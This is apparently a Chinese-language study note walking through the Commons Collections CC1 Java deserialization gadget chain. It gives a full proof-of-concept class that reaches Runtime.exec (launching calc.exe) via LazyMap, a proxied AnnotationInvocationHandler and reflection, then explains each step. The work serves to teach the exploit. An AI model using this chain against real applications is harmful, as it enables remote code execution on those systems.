cc1:
public class Test1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
1.这个很好理解就是给Transformer数组传入四个参数:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
2.ChainedTransformer的作用就是将前一个回调返回的结果作为后一个的参数传入:
Transformer transformerChain = new ChainedTransformer(transformers);
3.LazyMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
CC1用到Lazymap这个类,Lazymap的get方法在获取不到值的时候会调用factory.transform()这个方法来获取值
这里的factory是我们传进来的transformerChain,并且我们不需要给innermap传值,然后再看decorate方法:
发现会返回一个新的Lazymap对象,整体的意思就是decorate传了两个值一个是没有参数innermap 另一个是transformerChain ,但是在调用get 方法的时候是没有参数的,所以他会自动调用transformerChain的transform()方法进行取值也就实现了代码回调。
所以找到谁能调用get方法:
我们发现AnnotationInvocationHandler类的invoke方法是调用了get方法的
如何调用到invoke方法呢?
将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get。
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
所以我们先通过反射获取AnnotationInvocationHandler类:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
newProxyInstance需要有三个参数分别是:ClassLoader和类的集合以及接口的对象,接口同样也要实现相应的逻辑,
代理后的对象叫做proxyMap,但不能直接对其进行序列化,因为入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以我们还需要再用AnnotationInvocationHandler进行调用构造函数对这个proxyMap:
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
自此完成调用
调用链:
AnnotationInvocationHandle→redObject()->this.memberValues.entrySet()->InvocationHandler的invoke()->this.memberValues.get()->LayzMap的get()->this.factory.transformer()->chainedTransformer的transform->利用InvokerTransformer的transform构造Runtime对象->执行Runtime.exec()